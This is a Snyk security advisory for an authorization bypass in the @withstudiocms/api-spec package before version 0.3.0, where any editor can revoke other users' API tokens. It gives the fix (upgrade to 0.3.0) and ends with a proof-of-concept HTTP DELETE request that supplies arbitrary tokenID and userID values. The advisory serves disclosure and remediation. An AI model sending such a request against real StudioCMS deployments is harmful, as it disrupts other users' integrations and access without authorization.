Authorization Bypass Through User-Controlled Key Affecting @withstudiocms/api-spec package, versions <0.3.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-WITHSTUDIOCMSAPISPEC-15518583
- published13 Mar 2026
- disclosed11 Mar 2026
- creditFilipeGaudard
Introduced: 11 Mar 2026
NewCVE-2026-30945 (opens in a new tab)How to fix?
Upgrade @withstudiocms/api-spec to version 0.3.0 or higher.
Overview
@withstudiocms/api-spec is an API Specification for StudioCMS
Affected versions of this package are vulnerable to Authorization Bypass Through User-Controlled Key via the DELETE /studiocms_api/dashboard/api-tokens endpoint. An attacker can revoke API tokens belonging to other users, including higher-privileged accounts, by supplying arbitrary tokenID and userID values without ownership or role validation, resulting in disruption of integrations and automated workflows.
PoC
DELETE /studiocms_api/dashboard/api-tokens HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<editor_session_cookie>
Content-Type: application/json
Accept: application/json
Content-Length: 98
{
"tokenID": "16a2e549-513b-40ac-8ca3-858af6118afc",
"userID": "2450bf33-0135-4142-80be-9854f9a5e9f1"
}